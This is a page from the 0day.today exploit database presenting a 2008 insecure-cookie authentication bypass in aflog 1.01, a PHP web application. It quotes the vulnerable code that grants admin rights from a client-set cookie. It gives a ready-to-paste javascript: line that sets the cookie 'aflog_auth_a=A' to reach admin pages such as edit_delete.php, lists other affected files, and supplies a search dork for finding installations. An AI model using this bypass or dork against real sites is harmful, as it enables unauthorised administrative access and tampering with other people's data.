[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

aflog 1.01 Multiple Insecure Cookie Handling Vulnerabilies

Author
JosS
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3939
Category
web applications
Date add
22-10-2008
Platform
unsorted
==========================================================
aflog 1.01 Multiple Insecure Cookie Handling Vulnerabilies
==========================================================


# aflog 1.01 Multiple Insecure Cookie Handling Vulnerabilies
# url: http://www.aflog.org/download.php
#
# Author: JosS
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: /edit_delete.php
vuln code:
15: if($_COOKIE['aflog_auth_a']=="O" || $_COOKIE['aflog_auth_a']=="A"){
xx: .. ---> :P
33: }
34: } else {
35:  echo "<center><b><img src='img/x.png'>&nbps;ERROR!</b><br>You do not have access to this page. You must be Signed In as
36: an Admin.</center><br>";
37:  echo "<center><a href='index.php' class='c'>Home</a> | <a href='login.php?do=form' class='c'>Sign In</a></center>":
38: }

exploit:    javascript:document.cookie = "aflog_auth_a=0; path=/"; document.cookie = "aflog_auth_a=A; path=/";
and enters: /edit_delete.php?id=1 --> POST ID!!
---
vuln files:
edit_cat.php
edit_lock.php
edit_form.php
...more?

dork: "powered by aflog"

Hack0wn :D



#  0day.today [2024-12-25]  #